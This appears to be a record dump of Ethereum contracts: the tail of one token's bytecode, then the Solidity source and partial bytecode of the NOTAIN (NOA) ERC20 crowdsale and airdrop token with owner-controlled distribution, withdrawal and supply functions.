23f290919063ffffffff16565b612ca4565b6126f3565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156125e35750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561260a57612605858561260084876123f290919063ffffffff16565b612f04565b6126f2565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126ac5750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156126d3576126ce85856126c984876123f290919063ffffffff16565b613164565b6126f1565b6126f085856126eb84876123f290919063ffffffff16565b613459565b5b5b5b6000601081905550600060128190555061270f85600083613459565b6011546010819055506013546012819055508161272f5761272e613624565b5b5050505050565b6000806000600b5490506000600a54905060005b600980549050811015612a4457826004600060098481548110612796577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806128aa5750816005600060098481548110612842577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156128c157600b54600a5494509450505050612a7d565b6129776004600060098481548110612902577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846123f290919063ffffffff16565b9250612a2f60056000600984815481106129ba577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836123f290919063ffffffff16565b91508080612a3c90614158565b91505061274a565b50612a5c600a54600b546122ee90919063ffffffff16565b821015612a7457600b54600a54935093505050612a7d565b81819350935050505b9091565b60008083118290612ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612abf9190613d55565b60405180910390fd5b5060008385612ad79190613fdf565b9050809150509392505050565b600080600080612af385613641565b90506000612b0086613672565b90506000612b2982612b1b858a6123f290919063ffffffff16565b6123f290919063ffffffff16565b90508083839550955095505050509193909250565b600080600080612b578589612c2990919063ffffffff16565b90506000612b6e8689612c2990919063ffffffff16565b90506000612b858789612c2990919063ffffffff16565b90506000612bae82612ba085876123f290919063ffffffff16565b6123f290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000601054148015612bdb57506000601254145b8015612be957506000601454145b15612bf357612c27565b6010546011819055506012546013819055506014546015819055506000601081905550600060128190555060006014819055505b565b600080831415612c3c5760009050612c9e565b60008284612c4a9190614010565b9050828482612c599190613fdf565b14612c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9090613e77565b60405180910390fd5b809150505b92915050565b600080600080600080612cb687612396565b955095509550955095509550612d1487600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f290919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612da986600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f290919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e3e85600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233890919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e8a816136a3565b612e9484836138f2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612ef19190613f37565b60405180910390a3505050505050505050565b600080600080600080612f1687612396565b955095509550955095509550612f7486600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f290919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061300983600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233890919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061309e85600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233890919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130ea816136a3565b6130f484836138f2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516131519190613f37565b60405180910390a3505050505050505050565b60008060008060008061317687612396565b9550955095509550955095506131d487600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f290919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326986600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f290919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132fe83600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233890919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061339385600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233890919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133df816136a3565b6133e984836138f2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516134469190613f37565b60405180910390a3505050505050505050565b60008060008060008061346b87612396565b9550955095509550955095506134c986600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f290919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061355e85600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233890919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135aa816136a3565b6135b484836138f2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516136119190613f37565b60405180910390a3505050505050505050565b601154601081905550601354601281905550601554601481905550565b600061366b606461365d60105485612c2990919063ffffffff16565b6122ee90919063ffffffff16565b9050919050565b600061369c606461368e60125485612c2990919063ffffffff16565b6122ee90919063ffffffff16565b9050919050565b60006136ad6122c3565b905060006136c48284612c2990919063ffffffff16565b905061373a8160046000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233890919063ffffffff16565b60046000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060086000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156138ed576138878360056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233890919063ffffffff16565b60056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b61390782600b546123f290919063ffffffff16565b600b8190555061392281600c5461233890919063ffffffff16565b600c819055505050565b60008135905061393b816145f9565b92915050565b60008135905061395081614610565b92915050565b60008135905061396581614627565b92915050565b60006020828403121561397d57600080fd5b600061398b8482850161392c565b91505092915050565b600080604083850312156139a757600080fd5b60006139b58582860161392c565b92505060206139c68582860161392c565b9150509250929050565b6000806000606084860312156139e557600080fd5b60006139f38682870161392c565b9350506020613a048682870161392c565b9250506040613a1586828701613956565b9150509250925092565b60008060408385031215613a3257600080fd5b6000613a408582860161392c565b9250506020613a5185828601613956565b9150509250929050565b600060208284031215613a6d57600080fd5b6000613a7b84828501613956565b91505092915050565b60008060408385031215613a9757600080fd5b6000613aa585828601613956565b9250506020613ab685828601613941565b9150509250929050565b613ac98161409e565b82525050565b613ad8816140b0565b82525050565b6000613ae982613f6d565b613af38185613f78565b9350613b038185602086016140f3565b613b0c8161422e565b840191505092915050565b6000613b24602383613f78565b9150613b2f8261423f565b604082019050919050565b6000613b47602a83613f78565b9150613b528261428e565b604082019050919050565b6000613b6a602683613f78565b9150613b75826142dd565b604082019050919050565b6000613b8d602283613f78565b9150613b988261432c565b604082019050919050565b6000613bb0601b83613f78565b9150613bbb8261437b565b602082019050919050565b6000613bd3601b83613f78565b9150613bde826143a4565b602082019050919050565b6000613bf6601f83613f78565b9150613c01826143cd565b602082019050919050565b6000613c19602883613f78565b9150613c24826143f6565b604082019050919050565b6000613c3c602183613f78565b9150613c4782614445565b604082019050919050565b6000613c5f602083613f78565b9150613c6a82614494565b602082019050919050565b6000613c82602983613f78565b9150613c8d826144bd565b604082019050919050565b6000613ca5602583613f78565b9150613cb08261450c565b604082019050919050565b6000613cc8602483613f78565b9150613cd38261455b565b604082019050919050565b6000613ceb602c83613f78565b9150613cf6826145aa565b604082019050919050565b613d0a816140dc565b82525050565b613d19816140e6565b82525050565b6000602082019050613d346000830184613ac0565b92915050565b6000602082019050613d4f6000830184613acf565b92915050565b60006020820190508181036000830152613d6f8184613ade565b905092915050565b60006020820190508181036000830152613d9081613b17565b9050919050565b60006020820190508181036000830152613db081613b3a565b9050919050565b60006020820190508181036000830152613dd081613b5d565b9050919050565b60006020820190508181036000830152613df081613b80565b9050919050565b60006020820190508181036000830152613e1081613ba3565b9050919050565b60006020820190508181036000830152613e3081613bc6565b9050919050565b60006020820190508181036000830152613e5081613be9565b9050919050565b60006020820190508181036000830152613e7081613c0c565b9050919050565b60006020820190508181036000830152613e9081613c2f565b9050919050565b60006020820190508181036000830152613eb081613c52565b9050919050565b60006020820190508181036000830152613ed081613c75565b9050919050565b60006020820190508181036000830152613ef081613c98565b9050919050565b60006020820190508181036000830152613f1081613cbb565b9050919050565b60006020820190508181036000830152613f3081613cde565b9050919050565b6000602082019050613f4c6000830184613d01565b92915050565b6000602082019050613f676000830184613d10565b92915050565b600081519050919050565b600082825260208201905092915050565b6000613f94826140dc565b9150613f9f836140dc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613fd457613fd36141a1565b5b828201905092915050565b6000613fea826140dc565b9150613ff5836140dc565b925082614005576140046141d0565b5b828204905092915050565b600061401b826140dc565b9150614026836140dc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561405f5761405e6141a1565b5b828202905092915050565b6000614075826140dc565b9150614080836140dc565b925082821015614093576140926141a1565b5b828203905092915050565b60006140a9826140bc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156141115780820151818401526020810190506140f6565b83811115614120576000848401525b50505050565b6000600282049050600182168061413e57607f821691505b60208210811415614152576141516141ff565b5b50919050565b6000614163826140dc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614196576141956141a1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6146028161409e565b811461460d57600080fd5b50565b614619816140b0565b811461462457600080fd5b50565b614630816140dc565b811461463b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204254ad088bbb58d43da6c97dd43589152ec09a61259fca81b82e78bd33bceab164736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 10,602 |
0x9f1f08e579b8739ca28f30f46f5147caad98327f | pragma solidity ^0.4.25;
/**
* @title NOTAIN NETWORK DEVELOPMENT Project
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract NOTAIN is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "NOTAIN";
string public constant symbol = "NOA";
uint public constant decimals = 8;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 20000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 12000000e8;
uint public target0drop = 1000;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x81194b54211e842A2F3ccC89e74d3a90d3ac767B;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 8400000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 10 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 2000e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0x60806040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610194578063095ea7b31461021e5780631003e2d21461025657806318160ddd1461026e57806323b872dd1461029557806329dcb0cf146102bf5780632e1a7d4d146102d4578063313ce567146102ec57806342966c6814610301578063532b581c1461031957806370a082311461032e57806374ff23241461034f5780637809231c14610364578063836e81801461038857806383afd6da1461039d578063853828b6146103b257806395d89b41146103c75780639b1cbccc146103dc5780639ea407be146103f1578063a9059cbb14610409578063aa6ca8081461018a578063b449c24d1461042d578063c108d5421461044e578063c489744b14610463578063cbdd69b51461048a578063dd62ed3e1461049f578063e58fc54c146104c6578063e6a092f5146104e7578063efca2eed146104fc578063f2fde38b14610511578063f3ccb40114610532575b610192610556565b005b3480156101a057600080fd5b506101a9610863565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e35781810151838201526020016101cb565b50505050905090810190601f1680156102105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022a57600080fd5b50610242600160a060020a036004351660243561089a565b604080519115158252519081900360200190f35b34801561026257600080fd5b50610192600435610942565b34801561027a57600080fd5b506102836109af565b60408051918252519081900360200190f35b3480156102a157600080fd5b50610242600160a060020a03600435811690602435166044356109b5565b3480156102cb57600080fd5b50610283610b28565b3480156102e057600080fd5b50610192600435610b2e565b3480156102f857600080fd5b50610283610b88565b34801561030d57600080fd5b50610192600435610b8d565b34801561032557600080fd5b50610283610c6c565b34801561033a57600080fd5b50610283600160a060020a0360043516610c72565b34801561035b57600080fd5b50610283610c8d565b34801561037057600080fd5b50610192600160a060020a0360043516602435610c98565b34801561039457600080fd5b50610283610cbd565b3480156103a957600080fd5b50610283610cc3565b3480156103be57600080fd5b50610192610cc9565b3480156103d357600080fd5b506101a9610d26565b3480156103e857600080fd5b50610242610d5d565b3480156103fd57600080fd5b50610192600435610de1565b34801561041557600080fd5b50610242600160a060020a0360043516602435610e33565b34801561043957600080fd5b50610242600160a060020a0360043516610f12565b34801561045a57600080fd5b50610242610f27565b34801561046f57600080fd5b50610283600160a060020a0360043581169060243516610f37565b34801561049657600080fd5b50610283610fe8565b3480156104ab57600080fd5b50610283600160a060020a0360043581169060243516610fee565b3480156104d257600080fd5b50610242600160a060020a0360043516611019565b3480156104f357600080fd5b5061028361116d565b34801561050857600080fd5b50610283611173565b34801561051d57600080fd5b50610192600160a060020a0360043516611179565b34801561053e57600080fd5b506101926024600480358281019291013590356111cb565b600080600080600080600080600d60149054906101000a900460ff1615151561057e57600080fd5b600a546000985088975087965067016345785d8a00009550670de0b6b3a76400009450674563918244f40000935084906105be903463ffffffff61122416565b8115156105c757fe5b049750339150662386f26fc1000034101580156105e5575060055442105b80156105f2575060075442105b80156105ff575060065442105b1561065d5784341015801561061357508334105b15610627576064600589025b049550610658565b83341015801561063657508234105b15610646576064600a890261061f565b348311610658576064600f89025b0495505b6106ca565b662386f26fc100003410158015610675575060055442105b8015610682575060075442115b801561068f575060065442105b156106c5578334101580156106a357508234105b156106b35760646005890261061f565b348311610658576064600a8902610654565b600095505b87860196508715156107685750600160a060020a038116600090815260046020526040902054642e90edd0009060ff1615801561070b5750600b54600c5411155b1561074f5761071a828261124d565b50600160a060020a0382166000908152600460205260409020805460ff19166001908117909155600c80549091019055610763565b662386f26fc1000034101561076357600080fd5b6107ef565b60008811801561077f5750662386f26fc100003410155b156107db57600554421015801561079857506007544210155b80156107a5575060065442105b156107ba576107b4828961124d565b50610763565b3485116107cb576107b4828861124d565b6107d5828961124d565b506107ef565b662386f26fc100003410156107ef57600080fd5b6008546009541061081f57600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600d54604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610858573d6000803e3d6000fd5b505050505050505050565b60408051808201909152600681527f4e4f5441494e0000000000000000000000000000000000000000000000000000602082015281565b600081158015906108cd5750336000908152600360209081526040808320600160a060020a038716845290915290205415155b156108da5750600061093c565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600154600090600160a060020a0316331461095c57600080fd5b60085461096f908363ffffffff61133016565b60088190556040805184815290519192507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f919081900360200190a15050565b60085481565b6000606060643610156109c457fe5b600160a060020a03841615156109d957600080fd5b600160a060020a0385166000908152600260205260409020548311156109fe57600080fd5b600160a060020a0385166000908152600360209081526040808320338452909152902054831115610a2e57600080fd5b600160a060020a038516600090815260026020526040902054610a57908463ffffffff61133d16565b600160a060020a0386166000908152600260209081526040808320939093556003815282822033835290522054610a94908463ffffffff61133d16565b600160a060020a038087166000908152600360209081526040808320338452825280832094909455918716815260029091522054610ad8908463ffffffff61133016565b600160a060020a03808616600081815260026020908152604091829020949094558051878152905191939289169260008051602061149183398151915292918290030190a3506001949350505050565b60055481565b600154600090600160a060020a03163314610b4857600080fd5b506001546040518291600160a060020a03169082156108fc029083906000818181858888f19350505050158015610b83573d6000803e3d6000fd5b505050565b600881565b600154600090600160a060020a03163314610ba757600080fd5b33600090815260026020526040902054821115610bc357600080fd5b5033600081815260026020526040902054610be4908363ffffffff61133d16565b600160a060020a038216600090815260026020526040902055600854610c10908363ffffffff61133d16565b600855600954610c26908363ffffffff61133d16565b600955604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60065481565b600160a060020a031660009081526002602052604090205490565b662386f26fc1000081565b600154600160a060020a03163314610caf57600080fd5b610cb9828261134f565b5050565b60075481565b600c5481565b6001546000908190600160a060020a03163314610ce557600080fd5b50506001546040513091823191600160a060020a03909116906108fc8315029083906000818181858888f19350505050158015610b83573d6000803e3d6000fd5b60408051808201909152600381527f4e4f410000000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a03163314610d7757600080fd5b600d5460a060020a900460ff1615610d8e57600080fd5b600d805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600154600160a060020a03163314610df857600080fd5b600a8190556040805182815290517ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0039181900360200190a150565b600060406044361015610e4257fe5b600160a060020a0384161515610e5757600080fd5b33600090815260026020526040902054831115610e7357600080fd5b33600090815260026020526040902054610e93908463ffffffff61133d16565b3360009081526002602052604080822092909255600160a060020a03861681522054610ec5908463ffffffff61133016565b600160a060020a0385166000818152600260209081526040918290209390935580518681529051919233926000805160206114918339815191529281900390910190a35060019392505050565b60046020526000908152604090205460ff1681565b600d5460a060020a900460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a031681526